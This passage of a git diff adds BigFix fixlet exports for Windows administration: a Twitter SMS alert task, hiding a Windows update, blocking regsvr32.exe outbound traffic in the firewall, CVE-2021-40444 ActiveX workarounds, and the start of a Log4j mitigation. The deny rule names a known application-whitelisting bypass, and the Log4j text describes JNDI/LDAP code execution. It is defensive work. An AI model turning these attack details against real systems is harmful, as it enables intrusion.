+<LI>Create the directory ‘c:\BigTweet’
+<LI>Download and install .net 4 </FONT></FONT></SPAN><A href="http://www.microsoft.com/en-us/download/details.aspx?id=17851"><FONT size=3 face=Calibri><FONT size=3 face=Calibri><SPAN lang=EN><FONT color=#000080>http://www.microsoft.com/en-us/download/details.aspx?id=17851</FONT></FONT></FONT></SPAN></A>
+<P><FONT color=#000080></FONT></P></LI></UL><FONT size=3 face=Calibri><FONT size=3 face=Calibri><SPAN lang=EN>
+<P dir=ltr align=left><FONT color=#000080></FONT></P>
+<LI>TWT
+<UL>
+<LI>Download twt </FONT></FONT></SPAN><A href="https://code.google.com/p/twt/"><FONT size=3 face=Calibri><FONT size=3 face=Calibri><SPAN lang=EN><FONT color=#800080>https://code.google.com/p/twt/</FONT></FONT></FONT></SPAN></A>
+<LI><FONT size=3 face=Calibri><FONT size=3 face=Calibri><SPAN lang=EN>Extract binary and xml configuration file to ‘c:\BigTweet’</SPAN></FONT></FONT>
+<LI><FONT size=3 face=Calibri><FONT size=3 face=Calibri><SPAN lang=EN>Configure OAUTH against your Twitter SMS Relay Account using command twt –config
+<P></P></LI></UL>
+<P dir=ltr align=left></P>
+<LI>Twitter Follow Accounts
+<UL>
+<LI>In order to receive these Twitter SMS Notifications, users must follow the Twitter SMS Relay Account and turn on Mobile Notifications for this user.</SPAN></LI></UL></LI></UL>
+<P><STRONG><FONT color=#ff0000>Note:</FONT></STRONG> By Default, this is scheduled to run once every hour.&nbsp;</P></FONT></FONT>]]></Description>
+    <Relevance>exists main gather service</Relevance>
+    <Relevance><![CDATA[version of client >= "9.0"]]></Relevance>
+    <Relevance>(name of operating system starts with &quot;Win&quot;)</Relevance>
+    <Category>IEM Maintenance</Category>
+    <Source>mike.english@us.ibm.com</Source>
+    <SourceReleaseDate>2015-06-24</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 24 Jun 2015 17:01:55 +0000</Value>
+    </MIMEField>
+    <Domain>BES </Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action parameter query "sitename" with description "Please enter the site name to check relevant fixlets against:" with default value "Enterprise Security"
+
+//Check for C:\BigTweet
+if {not exist folder "C:\BigTweet"}
+	dos mkdir "C:\BigTweet"
+endif
+
+//Create BigTweet Batfile
+delete __appendfile
+
+//login to API and obtain query results
+appendfile {preceding text of last "\" of (expand environment string of (image path of service "FILLDB")) & "\IEM CLI\iem.exe%22"} login -q --server=localhost --user={parameter "RemoteOP" of action} --password={parameter "RemoteOPPass" of action}
+
+appendfile {preceding text of last "\" of (expand environment string of (image path of service "FILLDB")) & "\IEM CLI\iem.exe%22"} get query --relevance "sum of (Applicable Computer Count of it as integer) of bes fixlets whose ((name of site of it = ""{parameter "sitename" of action}"") AND ((Applicable Computer Count of it > 0)))" > "C:\BigTweet\alert.xml"
+
+delete "c:\BigTweet\bigtweet.bat"
+copy __appendfile "c:\BigTweet\bigtweet.bat"
+
+//Create Scheduled Task
+dos schtasks /create /sc hourly /mo 1 /tn "BigTweet_{parameter "sitename" of action}" /tr "c:\BigTweet\bigtweet.bat" /ru {parameter "TaskAdmin" of action} /rp {parameter "TaskPass" of action}]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/BigTweet v2.1 (6112).bes b/Sites/Windows Management/Fixlets/Fixlets/BigTweet v2.1 (6112).bes
new file mode 100644
index 000000000..98ba96063
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/BigTweet v2.1 (6112).bes	
@@ -0,0 +1,92 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : BigTweet v2.1
+  ID       : 6112
+  Author   : menglish
+  Domain   : BES
+  Imported : 2015-06-26T08:56:14
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>BigTweet v2.1</Title>
+    <Description><![CDATA[<P><STRONG><FONT size=4>BigTweet</FONT></STRONG></P><SPAN lang=EN><FONT size=3 face=Calibri><FONT size=3 face=Calibri>
+<P dir=ltr align=left>This requires two tasks. 1)BigTweet Scheduled Task Setup v2.1 & 2)BigTweet v2.1</P>
+<P dir=ltr align=left>BigTweet allows you to interface with Twitter and their free highly scalable SMS system for notifications.</P>
+<P dir=ltr align=left>This example will use a BigFix Rest API Query within a scheduled task&nbsp;to report on the number of fixlets that are relevant in a specific site. If relevant fixlets are found, it will send a tweet (using twt) which will notify you via text messaging.</P><B>
+<P dir=ltr align=left>Setup:</P>
+<UL></B>
+<P dir=ltr align=left>
+<LI>Twitter SMS Relay Account
+<UL>
+<LI>Create a Twitter Account used for relaying SMS (example @BigTweet111)
+<LI>Under Account Settings, set ‘Tweet privacy’ to ‘Protect my Tweets’
+<P></P></LI></UL>
+<P dir=ltr align=left></P>
+<LI>BigFix Server
+<UL>
+<LI>Create the directory ‘c:\BigTweet’
+<LI>Download and install .net 4 </FONT></FONT></SPAN><A href="http://www.microsoft.com/en-us/download/details.aspx?id=17851"><FONT size=3 face=Calibri><FONT size=3 face=Calibri><SPAN lang=EN><FONT color=#000080>http://www.microsoft.com/en-us/download/details.aspx?id=17851</FONT></FONT></FONT></SPAN></A>
+<P><FONT color=#000080></FONT></P></LI></UL><FONT size=3 face=Calibri><FONT size=3 face=Calibri><SPAN lang=EN>
+<P dir=ltr align=left><FONT color=#000080></FONT></P>
+<LI>TWT
+<UL>
+<LI>Download twt </FONT></FONT></SPAN><A href="https://code.google.com/p/twt/"><FONT size=3 face=Calibri><FONT size=3 face=Calibri><SPAN lang=EN><FONT color=#800080>https://code.google.com/p/twt/</FONT></FONT></FONT></SPAN></A>
+<LI><FONT size=3 face=Calibri><FONT size=3 face=Calibri><SPAN lang=EN>Extract binary and xml configuration file to ‘c:\BigTweet’</SPAN></FONT></FONT>
+<LI><FONT size=3 face=Calibri><FONT size=3 face=Calibri><SPAN lang=EN>Configure OAUTH against your Twitter SMS Relay Account using command twt –config
+<P></P></LI></UL>
+<P dir=ltr align=left></P>
+<LI>Twitter Follow Accounts
+<UL>
+<LI>In order to receive these Twitter SMS Notifications, users must follow the Twitter SMS Relay Account and turn on Mobile Notifications for this user.</SPAN></LI></UL></LI></UL>
+<P><STRONG><FONT color=#ff0000>Note:</FONT></STRONG> By Default, the is scheduled to run once every hour.&nbsp;</P></FONT></FONT>]]></Description>
+    <Relevance>exists main gather service</Relevance>
+    <Relevance><![CDATA[version of client >= "9.0"]]></Relevance>
+    <Relevance>(name of operating system starts with &quot;Win&quot;)</Relevance>
+    <Relevance>exist file &quot;c:\BigTweet\alert.xml&quot;</Relevance>
+    <Category>IEM Maintenance</Category>
+    <Source>mike.english@us.ibm.com</Source>
+    <SourceReleaseDate>2015-06-24</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 24 Jun 2015 17:03:52 +0000</Value>
+    </MIMEField>
+    <Domain>BES </Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action parameter query "sitename" with description "Please enter the site name to check relevant fixlets against:" with default value "Enterprise Security"
+
+if {exist file "c:\BigTweet\alert.xml"}
+//Tweet Results
+//No Relevant Endpoints
+	if {(((following text of first "integer%22>" of (preceding texts of firsts "</Answer>" of lines of file "c:\bigtweet\alert.xml")) as string) | "0") = "0"}
+		wait cmd.exe /C "c:\BigTweet\twt.exe" -q {now} No applicable endpoints to fixlets in site {parameter "sitename" of action}
+
+	//answer is greater than previous
+	elseif {(((following text of first "integer%22>" of (preceding texts of firsts "</Answer>" of lines of file "c:\bigtweet\alert.xml")) as string) | "0") > ((value of setting "BIGTWEET_Enterprise Security" of client) | "0")}
+		wait cmd.exe /C "c:\BigTweet\twt.exe" -q {now} {((following text of first "integer%22>" of (preceding texts of firsts "</Answer>" of lines of file "c:\bigtweet\alert.xml")) as string)} applicable endpoints to fixlets in site {parameter "sitename" of action}. An increase of {(((following text of first "integer%22>" of (preceding texts of firsts "</Answer>" of lines of file "c:\bigtweet\alert.xml")) as string) | "0") as integer - ((value of setting "BIGTWEET_Enterprise Security" of client) | "0") as integer}
+
+	//answer is less than than previous
+	elseif {(((following text of first "integer%22>" of (preceding texts of firsts "</Answer>" of lines of file "c:\bigtweet\alert.xml")) as string) | "0") < ((value of setting "BIGTWEET_Enterprise Security" of client) | "0")}
+		wait cmd.exe /C "c:\BigTweet\twt.exe" -q {now} {((following text of first "integer%22>" of (preceding texts of firsts "</Answer>" of lines of file "c:\bigtweet\alert.xml")) as string)} applicable endpoints to fixlets in site {parameter "sitename" of action}. A decrease of {((value of setting "BIGTWEET_Enterprise Security" of client) | "0") as integer - (((following text of first "integer%22>" of (preceding texts of firsts "</Answer>" of lines of file "c:\bigtweet\alert.xml")) as string) | "0") as integer}
+
+	//answer is = to previous
+	elseif {(((following text of first "integer%22>" of (preceding texts of firsts "</Answer>" of lines of file "c:\bigtweet\alert.xml")) as string) | "0") = ((value of setting "BIGTWEET_Enterprise Security" of client) | "0")}
+		wait cmd.exe /C "c:\BigTweet\twt.exe" -q {now} {((following text of first "integer%22>" of (preceding texts of firsts "</Answer>" of lines of file "c:\bigtweet\alert.xml")) as string)} applicable endpoints to fixlets in site {parameter "sitename" of action}. No change from last check.
+
+	endif
+
+setting "BIGTWEET_{parameter "sitename" of action}"="{((following text of first "integer%22>" of (preceding texts of firsts "</Answer>" of lines of file "c:\bigtweet\alert.xml")) as string) | "0"}" on "{now}" for client
+
+delete "c:\BigTweet\alert.xml"
+
+endif]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Block KB 3114717 - MS Office Issues - Windows (9143).bes b/Sites/Windows Management/Fixlets/Fixlets/Block KB 3114717 - MS Office Issues - Windows (9143).bes
new file mode 100644
index 000000000..0926c0f9f
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Block KB 3114717 - MS Office Issues - Windows (9143).bes	
@@ -0,0 +1,75 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Block KB 3114717 - MS Office Issues - Windows
+  ID       : 9143
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2016-02-12T18:45:58
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Block KB 3114717 - MS Office Issues - Windows</Title>
+    <Description><![CDATA[<P>BETA. I'm not sure how to write relevance to get this to only be applied when it should, or how to confirm it applied properly. It also seems like it will only successfully block an update that is not installed, but known.</P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>not exists keys whose(exists values &quot;DisplayName&quot; whose(it as string as lowercase contains &quot;kb3114717&quot; AND it as string as lowercase contains &quot;32-bit&quot;) of it) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of (x64 registries;x32 registries)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-02-12</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Sat, 13 Feb 2016 01:40:35 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+delete __createfile
+
+createfile until END_OF_FILE
+If Wscript.Arguments.Count = 0 Then
+    WScript.Echo "Syntax: HideWindowsUpdate.vbs [Hotfix Article ID]" & vbCRLF & _
+                 "Examples:" & vbCRLF & _
+                 "  - Hide KB940157: HideWindowsUpdate.vbs 940157"
+    WScript.Quit 1
+End If
+
+Dim hotfixId
+hotfixId = WScript.Arguments(0)
+
+Dim updateSession, updateSearcher
+Set updateSession = CreateObject("Microsoft.Update.Session")
+Set updateSearcher = updateSession.CreateUpdateSearcher()
+
+Wscript.Stdout.Write "Searching for pending updates..."
+Dim searchResult
+Set searchResult = updateSearcher.Search("IsInstalled=0")
+
+Dim update, kbArticleId, index, index2
+WScript.Echo CStr(searchResult.Updates.Count) & " found."
+For index = 0 To searchResult.Updates.Count - 1
+    Set update = searchResult.Updates.Item(index)
+    For index2 = 0 To update.KBArticleIDs.Count - 1
+        kbArticleId = update.KBArticleIDs(index2)
+        If kbArticleId = hotfixId Then
+            WScript.Echo "Hiding update: " & update.Title
+            update.IsHidden = True
+        End If
+    Next
+Next
+END_OF_FILE
+
+delete __Download\HideWindowsUpdate.vbs
+copy __createfile __Download\HideWindowsUpdate.vbs
+
+waithidden cmd /c cscript __Download\HideWindowsUpdate.vbs 3114717 > __Download\HideWindowsUpdate_3114717.log
+]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Block Regsvr32 in Windows Firewall (20257).bes b/Sites/Windows Management/Fixlets/Fixlets/Block Regsvr32 in Windows Firewall (20257).bes
new file mode 100644
index 000000000..21bc61a88
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Block Regsvr32 in Windows Firewall (20257).bes	
@@ -0,0 +1,58 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Block Regsvr32 in Windows Firewall
+  ID       : 20257
+  Author   : baiyf
+  Domain   : BESC
+  Imported : 2016-04-27T07:54:05
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Block Regsvr32 in Windows Firewall</Title>
+    <Description><![CDATA[
+<TABLE><TBODY><TR><TD> <P>This&nbsp;task enforces a winodws firewall filter to disable Regsvr32 from connecting to remote locations.</P> <P><STRONG>Note: </STRONG>The task is released in <A href="https://bigfix.me/">https://bigfix.me/</A>, which is not an official release channel of IBM BigFix. We highly suggest testing the content before deploying to production. Use of the content is done at the user's own risk and the user will be solely responsible for any damage to any computer system or loss of data that results from use of the content.</P> <P><FONT color=#ff0000><STRONG>Warning: This fixlet will enable the windows firewall and add necessary rule to block outbound connection for Regsvr32.exe</STRONG></FONT></P></TD></TR></TBODY></TABLE>
+]]></Description>
+    <Relevance>name of operating system as lowercase starts with &quot;win&quot;</Relevance>
+    <Relevance>not exists values whose(it as string as lowercase contains &quot;block regsvr32&quot;) of keys &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules&quot; of native registry</Relevance>
+    <Category>Unspecified</Category>
+    <SourceID>Unspecified</SourceID>
+    <SourceReleaseDate>2016-04-27</SourceReleaseDate>
+    <SourceSeverity>Unspecified</SourceSeverity>
+    <CVENames>Unspecified</CVENames>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Action ID="Action21062">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to block Regsvr32.exe in firewall</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enable Firewall
+waithidden NetSh Advfirewall set allprofiles state on
+
+//Disable Regsvr32 & Regsvr
+waithidden netsh advfirewall firewall add rule name="Block Regsvr32" dir=out action=block program="{pathname of file "regsvr32.exe" of system folder}" enable=yes profile=any
+
+// Disable Regsvr32 if x64 OS
+if {x64 of operating system}
+
+waithidden netsh advfirewall firewall add rule name="Block Regsvr32 in SysWOW64" dir=out action=block program="{pathname of file "regsvr32.exe" of system wow64 folder}" enable=yes profile=any
+
+endif]]></ActionScript>
+    </Action>
+    <Action ID="Action21063">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to view the blog about the exploit</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://subt0x10.blogspot.sg/2016/04/bypass-application-whitelisting-script.html</ActionScript>
+    </Action>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/CVE-2021-40444_ Activate Workaround_ Disable ActiveX Download (26876).bes b/Sites/Windows Management/Fixlets/Fixlets/CVE-2021-40444_ Activate Workaround_ Disable ActiveX Download (26876).bes
new file mode 100644
index 000000000..ce4869d04
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/CVE-2021-40444_ Activate Workaround_ Disable ActiveX Download (26876).bes	
@@ -0,0 +1,61 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : CVE-2021-40444: Activate Workaround: Disable ActiveX Download
+  ID       : 26876
+  Author   : trn
+  Domain   : BESC
+  Imported : 2021-09-11T08:16:52
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>CVE-2021-40444: Activate Workaround: Disable ActiveX Download</Title>
+    <Description>Workaround for CVE-2021-40444 </Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>Product type of operating system = NT Workstation product type</Relevance>
+    <Relevance>if (not exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones&quot; of native registry) then (true) else (4 != number of keys (&quot;0&quot;; &quot;1&quot;; &quot;2&quot;; &quot;3&quot;) whose (exists value &quot;1001&quot; whose (it as string as integer = 3) of it and exists value &quot;1004&quot; whose (it as string as integer = 3) of it) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones&quot; of native registry)</Relevance>
+    <Category>Workaround</Category>
+    <Source>Trevor Norrey</Source>
+    <SourceReleaseDate>2021-09-08</SourceReleaseDate>
+    <CVENames>CVE-2021-40444</CVENames>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Sat, 11 Sep 2021 15:06:09 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
+
+if x64 of operating system
+
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0]&quot; &quot;1001&quot;=dword:00000003
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0]&quot; &quot;1004&quot;=dword:00000003
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1]&quot; &quot;1001&quot;=dword:00000003
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1]&quot; &quot;1004&quot;=dword:00000003
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2]&quot; &quot;1001&quot;=dword:00000003
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2]&quot; &quot;1004&quot;=dword:00000003
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]&quot; &quot;1001&quot;=dword:00000003
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]&quot; &quot;1004&quot;=dword:00000003
+
+else
+
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0]&quot; &quot;1001&quot;=dword:00000003
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0]&quot; &quot;1004&quot;=dword:00000003
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1]&quot; &quot;1001&quot;=dword:00000003
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1]&quot; &quot;1004&quot;=dword:00000003
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2]&quot; &quot;1001&quot;=dword:00000003
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2]&quot; &quot;1004&quot;=dword:00000003
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]&quot; &quot;1001&quot;=dword:00000003
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]&quot; &quot;1004&quot;=dword:00000003
+
+endif</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/CVE-2021-40444_ Deactivate Workaround_ Disable ActiveX Download (26877).bes b/Sites/Windows Management/Fixlets/Fixlets/CVE-2021-40444_ Deactivate Workaround_ Disable ActiveX Download (26877).bes
new file mode 100644
index 000000000..cb5bae270
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/CVE-2021-40444_ Deactivate Workaround_ Disable ActiveX Download (26877).bes	
@@ -0,0 +1,61 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : CVE-2021-40444: Deactivate Workaround: Disable ActiveX Download
+  ID       : 26877
+  Author   : trn
+  Domain   : BESC
+  Imported : 2021-09-11T08:17:39
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>CVE-2021-40444: Deactivate Workaround: Disable ActiveX Download</Title>
+    <Description>Deactivate the Workaround for CVE-2021-40444 </Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>Product type of operating system = NT Workstation product type</Relevance>
+    <Relevance>exists keys (&quot;0&quot;; &quot;1&quot;; &quot;2&quot;; &quot;3&quot;) whose (exists value &quot;1001&quot; whose (it as string as integer = 3) of it or exists value &quot;1004&quot; whose (it as string as integer = 3) of it) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones&quot; of native registry</Relevance>
+    <Category>Workaround</Category>
+    <Source>Trevor Norrey</Source>
+    <SourceReleaseDate>2021-09-08</SourceReleaseDate>
+    <CVENames>CVE-2021-40444</CVENames>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Sat, 11 Sep 2021 15:04:44 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
+
+if x64 of operating system
+
+regdelete64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0]&quot; &quot;1001&quot;
+regdelete64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0]&quot; &quot;1004&quot;
+regdelete64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1]&quot; &quot;1001&quot;
+regdelete64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1]&quot; &quot;1004&quot;
+regdelete64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2]&quot; &quot;1001&quot;
+regdelete64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2]&quot; &quot;1004&quot;
+regdelete64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]&quot; &quot;1001&quot;
+regdelete64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]&quot; &quot;1004&quot;
+
+else
+
+regdelete &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0]&quot; &quot;1001&quot;
+regdelete &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0]&quot; &quot;1004&quot;
+regdelete &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1]&quot; &quot;1001&quot;
+regdelete &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1]&quot; &quot;1004&quot;
+regdelete &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2]&quot; &quot;1001&quot;
+regdelete &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2]&quot; &quot;1004&quot;
+regdelete &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]&quot; &quot;1001&quot;
+regdelete &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]&quot; &quot;1004&quot;
+
+endif</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/CVE-2021-44228 Log4j _ Add JAVA_TOOL_OPTIONS mitigation to Environment variables (Windows) (26898).bes b/Sites/Windows Management/Fixlets/Fixlets/CVE-2021-44228 Log4j _ Add JAVA_TOOL_OPTIONS mitigation to Environment variables (Windows) (26898).bes
new file mode 100644
index 000000000..df28218cc
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/CVE-2021-44228 Log4j _ Add JAVA_TOOL_OPTIONS mitigation to Environment variables (Windows) (26898).bes	
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : CVE-2021-44228 Log4j : Add JAVA_TOOL_OPTIONS mitigation to Environment variables (Windows)
+  ID       : 26898
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2021-12-14T09:51:29
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>CVE-2021-44228 Log4j : Add JAVA_TOOL_OPTIONS mitigation to Environment variables (Windows)</Title>
+    <Description><![CDATA[<P><A href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228</A></P>
+<P>Apache Log4j2 &lt;=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. In previous releases (&gt;2.10) this behavior can be mitigated by setting system property "log4j2.formatMsgNoLookups" to "true" or by removing the JndiLookup class from the classpath (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class). Java 8u121 (see <A href="https://www.oracle.com/java/technologies/javase/8u121-relnotes.html">https://www.oracle.com/java/technologies/javase/8u121-relnotes.html</A>) protects against remote code execution by defaulting "com.sun.jndi.rmi.object.trustURLCodebase" and "com.sun.jndi.cosnaming.object.trustURLCodebase" to "false".</P>
+<P>While it is very much advised to update all affected applications to make use of the corrected Log4j 2.15.0 or higher; or update the individual application to configure log4j2.formatMsgNoLookups=true, there is at least some measure of attack surface reduction that can be performed system-wide by applying the value to the JAVA_TOOL_OPTIONS environment variable.</P>
